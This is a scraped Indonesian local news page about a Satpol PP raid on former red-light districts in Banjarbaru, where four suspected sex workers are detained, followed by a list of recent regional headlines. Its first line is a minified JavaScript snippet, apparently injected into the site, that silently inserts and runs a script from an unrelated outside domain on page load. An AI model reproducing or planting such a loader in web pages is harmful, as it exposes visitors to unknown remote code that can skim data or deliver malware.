(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Razia Satpol PP di Eks Lokalisasi Bocor, 4 PSK Diangkut


BANJARBARU, Empat terduga Pekerja Seks Komersial (PSK) kembali terjaring saat giat rutin Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru, di tiga titik eks lokalisasi , Pembatuan, Batu Besi dan Km 18 Kecamatan Liang Anggang, Selasa (18/6) siang.

Kasatpol PP Banjarbaru Marhain Rahman melalui PPNS Seksi Opsdal Yanto Hidayat mengatakan pihaknya sebelumnya sempat kecolongan lantaran diduga adanya pihak yang membocorkan informasi terkait giat rutin tersebut.

“Sesampainya di tempat tujuan, ternyata suasana di TKP terlihat sunyi. Karena adanya indikasi bocornya informasi kegiatan, akhirnya anggota merubah haluan ke eks lokalisasi Km 18 Liang Anggang,” ujarnya.

Di lokasi tersebut sekitar pukul 13.00 Wita, petugas mengamankan satu orang wanita setelah melalui proses panjang pencarian ke semak-semak serta bangunsn rumah yang dicurigai petugas.

Tidak sampai disitu, Satpol PP yang merasa penasaran dengan tujuan awal terkait bocornya informasi pertama, kemudian kembali memutar haluan ke eks lokasi Pembatuan. Hasilnya, 1 PSK diamankan dari kawasan jalan Kenanga, Landasan Ulin tersebut.

Selanjutnya, 20 menit kemudian diamankan melalui proses pencarian yang merata, dua wanita diamankan di eks lokalisasi Batu Besi Kelurahan Guntung Manggis, Kecamatan Landasan Ulin.

“Dari hasil interogasi, 3 wanita yang kita amankan mengakui sebagai PSK, dan 1 orang lagi masih dalam proses penyidikan. Bahkan dari hasil pemeriksaan, rupanya salah satu PSK pada tahun 2016 lalu sudah mendapat Jadup (Jaminan Hidup) dari Kementerian Sosial,” lanjut Yanto.

Kini keempat wanita ini hanya bisa tetunduk malu dan atas perbuatan mereka terbukti telah melanggar Perda no 6 tahun 2002 tentang larangan pelacuran di Kota Banjarbaru, maka akan menjalani sidang di Pengadilan Negeri Banjarbaru untuk kasus Tipiring. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

9 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

12 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

16 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

16 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

16 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

18 jam ago

This website uses cookies.